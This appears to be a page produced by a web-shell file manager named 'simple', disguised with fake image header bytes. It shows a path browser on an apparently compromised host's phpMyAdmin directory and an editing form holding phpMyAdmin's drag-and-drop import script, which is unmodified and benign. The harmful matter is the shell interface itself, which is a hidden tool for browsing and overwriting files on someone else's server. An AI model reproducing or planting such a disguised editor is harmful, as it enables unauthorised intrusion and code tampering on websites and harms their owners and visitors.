�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2F'>rds-service.at</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2FphpMyAdmin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2F'>dist</a>/</p><hr><h3>✏️ Editing: drag_drop_import.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/* This script handles PMA Drag Drop Import, loaded only when configuration is enabled.*/

/**
 * Class to handle PMA Drag and Drop Import
 *      feature
 */
var DragDropImport = {
  /**
   * @var {number}, count of total uploads in this view
   */
  uploadCount: 0,
  /**
   * @var {number}, count of live uploads
   */
  liveUploadCount: 0,
  /**
   * @var {string[]} array, allowed extensions
   */
  allowedExtensions: [&#039;sql&#039;, &#039;xml&#039;, &#039;ldi&#039;, &#039;mediawiki&#039;, &#039;shp&#039;],
  /**
   * @var {string[]} array, allowed extensions for compressed files
   */
  allowedCompressedExtensions: [&#039;gz&#039;, &#039;bz2&#039;, &#039;zip&#039;],
  /**
   * @var {object[]}, array to store message returned by /import-status
   */
  importStatus: [],
  /**
   * Checks if any dropped file has valid extension or not
   *
   * @param {string} file filename
   *
   * @return {string}, extension for valid extension, &#039;&#039; otherwise
   */
  getExtension: function (file) {
    var arr = file.split(&#039;.&#039;);
    var ext = arr[arr.length - 1];

    // check if compressed
    if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedCompressedExtensions) !== -1) {
      ext = arr[arr.length - 2];
    }

    // Now check for extension
    if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedExtensions) !== -1) {
      return ext;
    }
    return &#039;&#039;;
  },
  /**
   * Shows upload progress for different sql uploads
   *
   * @param {string} hash, hash for specific file upload
   * @param {number} percent (float), file upload percentage
   *
   * @return {void}
   */
  setProgress: function (hash, percent) {
    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;]&#039;).children(&#039;progress&#039;).val(percent);
  },
  /**
   * Function to upload the file asynchronously
   *
   * @param {object} formData FormData object for a specific file
   * @param {string} hash hash of the current file upload
   *
   * @return {void}
   */
  sendFileToServer: function (formData, hash) {
    var jqXHR = $.ajax({
      xhr: function () {
        var xhrobj = $.ajaxSettings.xhr();
        if (xhrobj.upload) {
          xhrobj.upload.addEventListener(&#039;progress&#039;, function (event) {
            var percent = 0;
            var position = event.loaded || event.position;
            var total = event.total;
            if (event.lengthComputable) {
              percent = Math.ceil(position / total * 100);
            }
            // Set progress
            DragDropImport.setProgress(hash, percent);
          }, false);
        }
        return xhrobj;
      },
      url: &#039;index.php?route=/import&#039;,
      type: &#039;POST&#039;,
      contentType: false,
      processData: false,
      cache: false,
      data: formData,
      success: function (data) {
        DragDropImport.importFinished(hash, false, data.success);
        if (!data.success) {
          DragDropImport.importStatus[DragDropImport.importStatus.length] = {
            hash: hash,
            message: data.error
          };
        }
      }
    });

    // -- provide link to cancel the upload
    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize&#039;).html(&#039;&lt;span hash=&quot;&#039; + hash + &#039;&quot; class=&quot;pma_drop_file_status&quot; task=&quot;cancel&quot;&gt;&#039; + Messages.dropImportMessageCancel + &#039;&lt;/span&gt;&#039;);

    // -- add event listener to this link to abort upload operation
    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize span.pma_drop_file_status&#039;).on(&#039;click&#039;, function () {
      if ($(this).attr(&#039;task&#039;) === &#039;cancel&#039;) {
        jqXHR.abort();
        $(this).html(&#039;&lt;span&gt;&#039; + Messages.dropImportMessageAborted + &#039;&lt;/span&gt;&#039;);
        DragDropImport.importFinished(hash, true, false);
      } else if ($(this).children(&#039;span&#039;).html() === Messages.dropImportMessageFailed) {
        // -- view information
        var $this = $(this);
        $.each(DragDropImport.importStatus, function (key, value) {
          if (value.hash === hash) {
            $(&#039;.pma_drop_result:visible&#039;).remove();
            var filename = $this.parent(&#039;span&#039;).attr(&#039;data-filename&#039;);
            $(&#039;body&#039;).append(&#039;&lt;div class=&quot;pma_drop_result&quot;&gt;&lt;h2&gt;&#039; + Messages.dropImportImportResultHeader + &#039; - &#039; + Functions.escapeHtml(filename) + &#039;&lt;span class=&quot;close&quot;&gt;x&lt;/span&gt;&lt;/h2&gt;&#039; + value.message + &#039;&lt;/div&gt;&#039;);
            $(&#039;.pma_drop_result&#039;).draggable(); // to make this dialog draggable
          }
        });
      }
    });
  },
  /**
   * Triggered when an object is dragged into the PMA UI
   *
   * @param {MouseEvent} event obj
   *
   * @return {void}
   */
  dragEnter: function (event) {
    // We don&#039;t want to prevent users from using
    // browser&#039;s default drag-drop feature on some page(s)
    if ($(&#039;.noDragDrop&#039;).length !== 0) {
      return;
    }
    event.stopPropagation();
    event.preventDefault();
    if (!DragDropImport.hasFiles(event)) {
      return;
    }
    if (CommonParams.get(&#039;db&#039;) === &#039;&#039;) {
      $(&#039;.pma_drop_handler&#039;).html(Messages.dropImportSelectDB);
    } else {
      $(&#039;.pma_drop_handler&#039;).html(Messages.dropImportDropFiles);
    }
    $(&#039;.pma_drop_handler&#039;).fadeIn();
  },
  /**
   * Check if dragged element contains Files
   *
   * @param event the event object
   *
   * @return {boolean}
   */
  hasFiles: function (event) {
    return !(typeof event.originalEvent.dataTransfer.types === &#039;undefined&#039; || $.inArray(&#039;Files&#039;, event.originalEvent.dataTransfer.types) &lt; 0 || $.inArray(&#039;application/x-moz-nativeimage&#039;, event.originalEvent.dataTransfer.types) &gt;= 0);
  },
  /**
   * Triggered when dragged file is being dragged over PMA UI
   *
   * @param {MouseEvent} event obj
   *
   * @return {void}
   */
  dragOver: function (event) {
    // We don&#039;t want to prevent users from using
    // browser&#039;s default drag-drop feature on some page(s)
    if ($(&#039;.noDragDrop&#039;).length !== 0) {
      return;
    }
    event.stopPropagation();
    event.preventDefault();
    if (!DragDropImport.hasFiles(event)) {
      return;
    }
    $(&#039;.pma_drop_handler&#039;).fadeIn();
  },
  /**
   * Triggered when dragged objects are left
   *
   * @param {MouseEvent} event obj
   *
   * @return {void}
   */
  dragLeave: function (event) {
    // We don&#039;t want to prevent users from using
    // browser&#039;s default drag-drop feature on some page(s)
    if ($(&#039;.noDragDrop&#039;).length !== 0) {
      return;
    }
    event.stopPropagation();
    event.preventDefault();
    var $dropHandler = $(&#039;.pma_drop_handler&#039;);
    $dropHandler.clearQueue().stop();
    $dropHandler.fadeOut();
    $dropHandler.html(Messages.dropImportDropFiles);
  },
  /**
   * Called when upload has finished
   *
   * @param {string} hash unique hash for a certain upload
   * @param {boolean} aborted true if upload was aborted
   * @param {boolean} status status of sql upload, as sent by server
   *
   * @return {void}
   */
  importFinished: function (hash, aborted, status) {
    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;]&#039;).children(&#039;progress&#039;).hide();
    var icon = &#039;icon ic_s_success&#039;;
    // -- provide link to view upload status
    if (!aborted) {
      if (status) {
        $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize span.pma_drop_file_status&#039;).html(&#039;&lt;span&gt;&#039; + Messages.dropImportMessageSuccess + &#039;&lt;/a&gt;&#039;);
      } else {
        $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize span.pma_drop_file_status&#039;).html(&#039;&lt;span class=&quot;underline&quot;&gt;&#039; + Messages.dropImportMessageFailed + &#039;&lt;/a&gt;&#039;);
        icon = &#039;icon ic_s_error&#039;;
      }
    } else {
      icon = &#039;icon ic_s_notice&#039;;
    }
    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;] span.filesize span.pma_drop_file_status&#039;).attr(&#039;task&#039;, &#039;info&#039;);

    // Set icon
    $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;]&#039;).prepend(&#039;&lt;img src=&quot;./themes/dot.gif&quot; title=&quot;finished&quot; class=&quot;&#039; + icon + &#039;&quot;&gt; &#039;);

    // Decrease liveUploadCount by one
    $(&#039;.pma_import_count&#039;).html(--DragDropImport.liveUploadCount);
    if (!DragDropImport.liveUploadCount) {
      $(&#039;.pma_sql_import_status h2 .close&#039;).fadeIn();
    }
  },
  /**
   * Triggered when dragged objects are dropped to UI
   * From this function, the AJAX Upload operation is initiated
   *
   * @param event object
   *
   * @return {void}
   */
  drop: function (event) {
    // We don&#039;t want to prevent users from using
    // browser&#039;s default drag-drop feature on some page(s)
    if ($(&#039;.noDragDrop&#039;).length !== 0) {
      return;
    }
    var dbname = CommonParams.get(&#039;db&#039;);
    var server = CommonParams.get(&#039;server&#039;);

    // if no database is selected -- no
    if (dbname !== &#039;&#039;) {
      var files = event.originalEvent.dataTransfer.files;
      if (!files || files.length === 0) {
        // No files actually transferred
        $(&#039;.pma_drop_handler&#039;).fadeOut();
        event.stopPropagation();
        event.preventDefault();
        return;
      }
      $(&#039;.pma_sql_import_status&#039;).slideDown();
      for (var i = 0; i &lt; files.length; i++) {
        var ext = DragDropImport.getExtension(files[i].name);
        var hash = AJAX.hash(++DragDropImport.uploadCount);
        var $sqlImportStatusDiv = $(&#039;.pma_sql_import_status div&#039;);
        $sqlImportStatusDiv.append(&#039;&lt;li data-hash=&quot;&#039; + hash + &#039;&quot;&gt;&#039; + (ext !== &#039;&#039; ? &#039;&#039; : &#039;&lt;img src=&quot;./themes/dot.gif&quot; title=&quot;invalid format&quot; class=&quot;icon ic_s_notice&quot;&gt; &#039;) + Functions.escapeHtml(files[i].name) + &#039;&lt;span class=&quot;filesize&quot; data-filename=&quot;&#039; + Functions.escapeHtml(files[i].name) + &#039;&quot;&gt;&#039; + (files[i].size / 1024).toFixed(2) + &#039; kb&lt;/span&gt;&lt;/li&gt;&#039;);

        // scroll the UI to bottom
        $sqlImportStatusDiv.scrollTop($sqlImportStatusDiv.scrollTop() + 50); // 50 hardcoded for now

        if (ext !== &#039;&#039;) {
          // Increment liveUploadCount by one
          $(&#039;.pma_import_count&#039;).html(++DragDropImport.liveUploadCount);
          $(&#039;.pma_sql_import_status h2 .close&#039;).fadeOut();
          $(&#039;.pma_sql_import_status div li[data-hash=&quot;&#039; + hash + &#039;&quot;]&#039;).append(&#039;&lt;br&gt;&lt;progress max=&quot;100&quot; value=&quot;2&quot;&gt;&lt;/progress&gt;&#039;);

          // uploading
          var fd = new FormData();
          fd.append(&#039;import_file&#039;, files[i]);
          fd.append(&#039;noplugin&#039;, Math.random().toString(36).substring(2, 12));
          fd.append(&#039;db&#039;, dbname);
          fd.append(&#039;server&#039;, server);
          fd.append(&#039;token&#039;, CommonParams.get(&#039;token&#039;));
          fd.append(&#039;import_type&#039;, &#039;database&#039;);
          // todo: method to find the value below
          fd.append(&#039;MAX_FILE_SIZE&#039;, &#039;4194304&#039;);
          // todo: method to find the value below
          fd.append(&#039;charset_of_file&#039;, &#039;utf-8&#039;);
          // todo: method to find the value below
          fd.append(&#039;allow_interrupt&#039;, &#039;yes&#039;);
          fd.append(&#039;skip_queries&#039;, &#039;0&#039;);
          fd.append(&#039;format&#039;, ext);
          fd.append(&#039;sql_compatibility&#039;, &#039;NONE&#039;);
          fd.append(&#039;sql_no_auto_value_on_zero&#039;, &#039;something&#039;);
          fd.append(&#039;ajax_request&#039;, &#039;true&#039;);
          fd.append(&#039;hash&#039;, hash);

          // init uploading
          DragDropImport.sendFileToServer(fd, hash);
        } else if (!DragDropImport.liveUploadCount) {
          $(&#039;.pma_sql_import_status h2 .close&#039;).fadeIn();
        }
      }
    }
    $(&#039;.pma_drop_handler&#039;).fadeOut();
    event.stopPropagation();
    event.preventDefault();
  }
};

/**
 * Called when some user drags, dragover, leave
 *       a file to the PMA UI
 * @param {object}, Event data
 * @return {void}
 */
$(document).on(&#039;dragenter&#039;, DragDropImport.dragEnter);
$(document).on(&#039;dragover&#039;, DragDropImport.dragOver);
$(document).on(&#039;dragleave&#039;, &#039;.pma_drop_handler&#039;, DragDropImport.dragLeave);

// when file is dropped to PMA UI
$(document).on(&#039;drop&#039;, &#039;body&#039;, DragDropImport.drop);

// minimizing-maximizing the sql ajax upload status
$(document).on(&#039;click&#039;, &#039;.pma_sql_import_status h2 .minimize&#039;, function () {
  if ($(this).attr(&#039;toggle&#039;) === &#039;off&#039;) {
    $(&#039;.pma_sql_import_status div&#039;).css(&#039;height&#039;, &#039;270px&#039;);
    $(this).attr(&#039;toggle&#039;, &#039;on&#039;);
    $(this).html(&#039;-&#039;); // to minimize
  } else {
    $(&#039;.pma_sql_import_status div&#039;).css(&#039;height&#039;, &#039;0px&#039;);
    $(this).attr(&#039;toggle&#039;, &#039;off&#039;);
    $(this).html(&#039;+&#039;); // to maximise
  }
});

// closing sql ajax upload status
$(document).on(&#039;click&#039;, &#039;.pma_sql_import_status h2 .close&#039;, function () {
  $(&#039;.pma_sql_import_status&#039;).fadeOut(function () {
    $(&#039;.pma_sql_import_status div&#039;).html(&#039;&#039;);
    DragDropImport.importStatus = []; // clear the message array
  });
});

// Closing the import result box
$(document).on(&#039;click&#039;, &#039;.pma_drop_result h2 .close&#039;, function () {
  $(this).parent(&#039;h2&#039;).parent(&#039;div&#039;).remove();
});</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist'>🔙 Back</a></p>